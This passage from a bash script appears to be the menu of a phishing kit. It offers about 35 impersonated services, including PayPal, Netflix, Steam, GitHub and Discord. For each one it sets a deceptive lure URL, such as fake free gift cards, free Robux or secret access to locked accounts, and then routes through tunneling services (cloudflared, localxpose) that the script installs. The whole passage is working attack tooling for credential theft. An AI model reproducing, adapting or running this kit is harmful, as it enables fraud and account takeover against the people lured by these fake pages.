${RED}[${WHITE}05${RED}]${ORANGE} Netflix ${RED}[${WHITE}15${RED}]${ORANGE} Ebay ${RED}[${WHITE}25${RED}]${ORANGE} Yahoo
747
${RED}[${WHITE}06${RED}]${ORANGE} Paypal ${RED}[${WHITE}16${RED}]${ORANGE} Quora ${RED}[${WHITE}26${RED}]${ORANGE} Wordpress
748
${RED}[${WHITE}07${RED}]${ORANGE} Steam ${RED}[${WHITE}17${RED}]${ORANGE} Protonmail ${RED}[${WHITE}27${RED}]${ORANGE} Yandex
749
${RED}[${WHITE}08${RED}]${ORANGE} Twitter ${RED}[${WHITE}18${RED}]${ORANGE} Spotify ${RED}[${WHITE}28${RED}]${ORANGE} StackoverFlow
750
${RED}[${WHITE}09${RED}]${ORANGE} Playstation ${RED}[${WHITE}19${RED}]${ORANGE} Reddit ${RED}[${WHITE}29${RED}]${ORANGE} Vk
751
${RED}[${WHITE}10${RED}]${ORANGE} Tiktok ${RED}[${WHITE}20${RED}]${ORANGE} Adobe ${RED}[${WHITE}30${RED}]${ORANGE} XBOX
752
${RED}[${WHITE}31${RED}]${ORANGE} Mediafire ${RED}[${WHITE}32${RED}]${ORANGE} Gitlab ${RED}[${WHITE}33${RED}]${ORANGE} Github
753
${RED}[${WHITE}34${RED}]${ORANGE} Discord ${RED}[${WHITE}35${RED}]${ORANGE} Roblox
754
755
${RED}[${WHITE}99${RED}]${ORANGE} About ${RED}[${WHITE}00${RED}]${ORANGE} Exit
756
757
EOF
758
759
read -p "${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}"
760
761
case $REPLY in
762
1 | 01)
763
site_facebook;;
764
2 | 02)
765
site_instagram;;
766
3 | 03)
767
site_gmail;;
768
4 | 04)
769
website="microsoft"
770
mask='https://unlimited-onedrive-space-for-free'
771
tunnel_menu;;
772
5 | 05)
773
website="netflix"
774
mask='https://upgrade-your-netflix-plan-free'
775
tunnel_menu;;
776
6 | 06)
777
website="paypal"
778
mask='https://get-500-usd-free-to-your-acount'
779
tunnel_menu;;
780
7 | 07)
781
website="steam"
782
mask='https://steam-500-usd-gift-card-free'
783
tunnel_menu;;
784
8 | 08)
785
website="twitter"
786
mask='https://get-blue-badge-on-twitter-free'
787
tunnel_menu;;
788
9 | 09)
789
website="playstation"
790
mask='https://playstation-500-usd-gift-card-free'
791
tunnel_menu;;
792
10)
793
website="tiktok"
794
mask='https://tiktok-free-liker'
795
tunnel_menu;;
796
11)
797
website="twitch"
798
mask='https://unlimited-twitch-tv-user-for-free'
799
tunnel_menu;;
800
12)
801
website="pinterest"
802
mask='https://get-a-premium-plan-for-pinterest-free'
803
tunnel_menu;;
804
13)
805
website="snapchat"
806
mask='https://view-locked-snapchat-accounts-secretly'
807
tunnel_menu;;
808
14)
809
website="linkedin"
810
mask='https://get-a-premium-plan-for-linkedin-free'
811
tunnel_menu;;
812
15)
813
website="ebay"
814
mask='https://get-500-usd-free-to-your-acount'
815
tunnel_menu;;
816
16)
817
website="quora"
818
mask='https://quora-premium-for-free'
819
tunnel_menu;;
820
17)
821
website="protonmail"
822
mask='https://protonmail-pro-basics-for-free'
823
tunnel_menu;;
824
18)
825
website="spotify"
826
mask='https://convert-your-account-to-spotify-premium'
827
tunnel_menu;;
828
19)
829
website="reddit"
830
mask='https://reddit-official-verified-member-badge'
831
tunnel_menu;;
832
20)
833
website="adobe"
834
mask='https://get-adobe-lifetime-pro-membership-free'
835
tunnel_menu;;
836
21)
837
website="deviantart"
838
mask='https://get-500-usd-free-to-your-acount'
839
tunnel_menu;;
840
22)
841
website="badoo"
842
mask='https://get-500-usd-free-to-your-acount'
843
tunnel_menu;;
844
23)
845
website="origin"
846
mask='https://get-500-usd-free-to-your-acount'
847
tunnel_menu;;
848
24)
849
website="dropbox"
850
mask='https://get-1TB-cloud-storage-free'
851
tunnel_menu;;
852
25)
853
website="yahoo"
854
mask='https://grab-mail-from-anyother-yahoo-account-free'
855
tunnel_menu;;
856
26)
857
website="wordpress"
858
mask='https://unlimited-wordpress-traffic-free'
859
tunnel_menu;;
860
27)
861
website="yandex"
862
mask='https://grab-mail-from-anyother-yandex-account-free'
863
tunnel_menu;;
864
28)
865
website="stackoverflow"
866
mask='https://get-stackoverflow-lifetime-pro-membership-free'
867
tunnel_menu;;
868
29)
869
site_vk;;
870
30)
871
website="xbox"
872
mask='https://get-500-usd-free-to-your-acount'
873
tunnel_menu;;
874
31)
875
website="mediafire"
876
mask='https://get-1TB-on-mediafire-free'
877
tunnel_menu;;
878
32)
879
website="gitlab"
880
mask='https://get-1k-followers-on-gitlab-free'
881
tunnel_menu;;
882
33)
883
website="github"
884
mask='https://get-1k-followers-on-github-free'
885
tunnel_menu;;
886
34)
887
website="discord"
888
mask='https://get-discord-nitro-free'
889
tunnel_menu;;
890
35)
891
website="roblox"
892
mask='https://get-free-robux'
893
tunnel_menu;;
894
99)
895
about;;
896
0 | 00 )
897
msg_exit;;
898
*)
899
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
900
{ sleep 1; main_menu; };;
901
902
esac
903
}
904
905
## Main
906
kill_pid
907
dependencies
908
check_status
909
install_cloudflared
910
install_localxpose
911
main_menu
912
913